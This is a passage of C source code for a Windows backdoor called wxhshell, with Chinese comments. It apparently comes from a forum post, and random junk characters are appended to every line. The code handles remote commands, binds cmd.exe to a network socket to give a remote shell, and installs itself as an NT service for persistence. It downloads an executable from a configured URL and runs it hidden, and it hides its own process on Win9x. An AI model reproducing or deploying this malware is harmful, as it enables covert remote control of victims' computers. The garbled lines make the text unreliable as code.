    switch(cmd[0]) { vo*oCfm  
  6XU p$Pd(  
  // 帮助 BU??}{  
  case '?': { Gs3V]qbEP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6G"UXNa,  
    break; e:'56?|  
  } ?#Z4Dg 9|  
  // 安装 \ ya@9OA  
  case 'i': { |#Lz0<c;  
    if(Install()) p?cc Bq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g9VY{[ V  
    else g\.$4N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $m*Gu:#xm&  
    break; GCO: !,1  
    } `<>QKpAn  
  // 卸载 kI@<H<  
  case 'r': { IHd W!q  
    if(Uninstall()) "P(obk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K#X/j'$^  
    else v)_FiY QQ6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?(d1;/0v>  
    break; N AY3.e  
    } mS![J69(  
  // 显示 wxhshell 所在路径 {xov8 M  
  case 'p': { 3Xd:LDZ{  
    char svExeFile[MAX_PATH]; 5toa@#Bc%  
    strcpy(svExeFile,"\n\r"); AL3iNkEa  
      strcat(svExeFile,ExeFile); J9]cs?`)  
        send(wsh,svExeFile,strlen(svExeFile),0); <anKw|  
    break; "H`Be  
    } Z10}xqi!X  
  // 重启 Is }kCf  
  case 'b': { a%b E}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rb:<?&7ZzN  
    if(Boot(REBOOT)) 76<mP*5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y||RK` H  
    else { T~Bj],k_  
    closesocket(wsh); u4SL:IH{D  
    ExitThread(0); EUcD[Rv  
    } BPt? 3tC  
    break; wDW%v@  
    } *w*>\ZhOm  
  // 关机 -XCs?@8EQ  
  case 'd': { >Q=^X3to  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9.M'FCd~M  
    if(Boot(SHUTDOWN)) R3|4|JlGR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \#dacQ2E@  
    else { jLVD37 P^  
    closesocket(wsh); ] T]{VB  
    ExitThread(0); ^&1O:G*"  
    } |H_WY#  
    break; !vRZh('R  
    } b-  t  
  // 获取shell `}=R  
  case 's': { Qm[s"pM  
    CmdShell(wsh); W>d)(  
    closesocket(wsh); %ZWt 45A  
    ExitThread(0); 9AB U^ig  
    break; ^-k"gLg  
  } P o@;PR=  
  // 退出 =r ^_D=  
  case 'x': { |R@T`dW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o68i0aFW  
    CloseIt(wsh); T pF [-fO  
    break; DWKQ>X6  
    } *1`X}  
  // 离开 QE[<Y3M  
  case 'q': { .aY $-Y<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G)}[!'<rR  
    closesocket(wsh); jD9u(qAlH  
    WSACleanup(); Y&O2;q/B  
    exit(1); /^nIOAeE  
    break; OR~ui[w  
        } fy"}# 2  
  } C){Q;`M-<  
  } Sf*v#?  
13 #ff  
  // 提示信息 \'j(@b,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S5TVfV5LI  
} ? F #&F  
  } <YFDS;b|  
U0j>u*yE  
  return; NC-K`)  
} _`\!+qGq  
YWH>tt 9  
// shell模块句柄 >{Hg+/  
int CmdShell(SOCKET sock) B1nm?E 0i  
{ %w65)BFQ  
STARTUPINFO si; ye$_=KARP  
ZeroMemory(&si,sizeof(si)); !mUJ["#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^)>( <6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PtW2S 1?j  
PROCESS_INFORMATION ProcessInfo; r4 *H96l  
char cmdline[]="cmd"; `K.B`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (Fzy8 s  
  return 0; 96V8R<   
} aH_c84DS  
lY tt|J  
// 自身启动模式 G'/G DN^j  
int StartFromService(void) +M I{B="7.  
{ 4DCh+|r  
typedef struct nahq O|~  
{ AtCT  
  DWORD ExitStatus; "PI;/(kR  
  DWORD PebBaseAddress; o( zez  
  DWORD AffinityMask; *FC8=U2\X  
  DWORD BasePriority; C 6 \  
  ULONG UniqueProcessId; jerU[3  
  ULONG InheritedFromUniqueProcessId; Y%"$v0D  
}   PROCESS_BASIC_INFORMATION; bOr11?  
a`w=0]1&*  
PROCNTQSIP NtQueryInformationProcess; 6J,h}S  
a pa&'%7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :Pdh##k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I8J>>H'#A  
2w7$"N  
  HANDLE             hProcess; 3O$l;|SX  
  PROCESS_BASIC_INFORMATION pbi; `Uz.9_6  
~3:hed7:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d5gwc5X  
  if(NULL == hInst ) return 0; NzQvciJ@"  
}?Y -I> w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iptA#<Yj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L!Y|`P#Yr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ln,<|,fZN  
M,H8ZO:R  
  if (!NtQueryInformationProcess) return 0; _r3Y$^!U  
2v ~8fr4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !FP ]  
  if(!hProcess) return 0; u?72]?SM  
K _VIk'RB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^R@)CIQ  
5 [~HL_u;,  
  CloseHandle(hProcess); pE<a:2J  
.2@T|WD!Ah  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 49*f=gpGj2  
if(hProcess==NULL) return 0; JE9v+a{7  
|(%<FY$  
HMODULE hMod; t^":.}[Q  
char procName[255]; D|ze0A@  
unsigned long cbNeeded; o!UB x<4  
/(s |'"6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q"FN"uQ}x  
ivo><"Y(r  
  CloseHandle(hProcess); IwnDG;+Ap  
S,:!H@~B  
if(strstr(procName,"services")) return 1; // 以服务启动 1w7tRw  
G^d3$7  
  return 0; // 注册表启动 /P,1KVQPh  
} 7/<~s]D[%  
TzaeE  
// 主模块 e#HPU  
int StartWxhshell(LPSTR lpCmdLine) =A6*;T"W  
{ kQ\ $0=6N9  
  SOCKET wsl; ?Sh]kJ O  
BOOL val=TRUE; i_*yS+Z;  
  int port=0; )'n@A%B  
  struct sockaddr_in door; rogy`mh\r2  
5"nq h}5  
  if(wscfg.ws_autoins) Install(); jnp~ACN,  
W'vekuM  
port=atoi(lpCmdLine); $||WI}k3V  
~>>_`;B  
if(port<=0) port=wscfg.ws_port; y p{Dl  
}>@SyE'Q  
  WSADATA data; 4Y59^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g$GGo[_0  
Iz+%wAZ|B6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O/#3QK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9~~NxWY%x  
  door.sin_family = AF_INET; 1<m`38'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L-?ty@-i  
  door.sin_port = htons(port); x*z&#[(0g!  
+C!GV.q[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QYo04`Rl  
closesocket(wsl); :& Dv!z  
return 1; JR `$t~0t  
} xwD`R *  
ir.RO7f  
  if(listen(wsl,2) == INVALID_SOCKET) { cL#-vW<s3  
closesocket(wsl); *RS/`a;,  
return 1; Y }VJ4!%U  
} }'wZ)N@  
  Wxhshell(wsl); $BehU  
  WSACleanup(); c9Et Uv~  
-b!Z(}JK  
return 0; ^)]U5+g?  
F,S)P`?  
} u=nd7:bv  
K.QSt  
// 以NT服务方式启动 zl8M<z1`1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i=<;$+tW  
{ YNV, dKB  
DWORD   status = 0; &'^.>TJ\  
  DWORD   specificError = 0xfffffff; )@DDs(q=i  
>U* p[FGW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5;KJ0N*-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -51LF=(!L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5T.U=_ag  
  serviceStatus.dwWin32ExitCode     = 0; e4=FO;%  
  serviceStatus.dwServiceSpecificExitCode = 0; xRc+3Z= N  
  serviceStatus.dwCheckPoint       = 0; !o`7$`%Wz\  
  serviceStatus.dwWaitHint       = 0; (^iF)z  
EoJ\Jk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RP{0+  
  if (hServiceStatusHandle==0) return; c?CfM>  
rAP="H<  
status = GetLastError(); c6i7f:'-0  
  if (status!=NO_ERROR) v*Gd=\88  
{ >Du=(pB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %]7 6u7b/  
    serviceStatus.dwCheckPoint       = 0; K!\v ?WbF  
    serviceStatus.dwWaitHint       = 0; FW8Zpr!u  
    serviceStatus.dwWin32ExitCode     = status; (]cL5o9  
    serviceStatus.dwServiceSpecificExitCode = specificError;  ( y!o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HUjX[w8  
    return; 1LS1 ZY  
  } f$^wu~  
qZF&^pCF}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b%MZfaU  
  serviceStatus.dwCheckPoint       = 0; 6HBDs:   
  serviceStatus.dwWaitHint       = 0; R /" f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RgV3,z  
} bj@sci(1?  
^X{U7?x  
// 处理NT服务事件,比如:启动、停止 =$4I}2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f@YdL6&d-  
{ iwM xTty  
switch(fdwControl) A'`F Rx(  
{ =| T^)J  
case SERVICE_CONTROL_STOP: Az y`4  
  serviceStatus.dwWin32ExitCode = 0; .g}N@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BNJ0D  
  serviceStatus.dwCheckPoint   = 0; Z:^#9D{  
  serviceStatus.dwWaitHint     = 0; M>5OC)E  
  { + Fo^NT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BAXu\a-C_  
  } V5$ Gb6?K  
  return; P^"RH&ZQJ  
case SERVICE_CONTROL_PAUSE: '|=Pw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  t* Ct*  
  break; )rP,+B?W  
case SERVICE_CONTROL_CONTINUE: \azMF}mb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D)x^?!  
  break; ^k7I+A  
case SERVICE_CONTROL_INTERROGATE: @4UX~=:686  
  break; hK)'dG*  
}; 3}s]F/e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n*$g1HG6  
} /UK?&+1qE  
wG MhKZE  
// 标准应用程序主函数 qvu1u GCc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v)*MgfS  
{ =&08s(A  
$\*Z   
// 获取操作系统版本 glCpA$;VPu  
OsIsNt=GetOsVer(); az![u)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }=v4(M`%  
py7Zh%k  
  // 从命令行安装 w( SY  
  if(strpbrk(lpCmdLine,"iI")) Install(); A^M]vk%dg  
'cc8 xC  
  // 下载执行文件 $"NH{%95}  
if(wscfg.ws_downexe) { hfI=9x/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zZPWE "u}  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q/3*65  
} 0,~s0]h0V  
sAU%:W{  
if(!OsIsNt) { MzUKp"  
// 如果时win9x,隐藏进程并且设置为注册表启动 4+>yL+sC%v  
HideProc(); bP-(N14x+  
StartWxhshell(lpCmdLine); uQH]  
} 0J/yd  
else V0 {#q/q  
  if(StartFromService()) +`wr{kB$~  
  // 以服务方式启动 UfPB-EFl$D  
  StartServiceCtrlDispatcher(DispatchTable); 7/a7p(   
else >b"@{MZ@t  
  // 普通方式启动 ,N:^4A  
  StartWxhshell(lpCmdLine); J'|[-D-a  
4|&/# Cz^Y  
return 0; C zw]5  
}
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只看该作者 1 发表于: 2006-10-10
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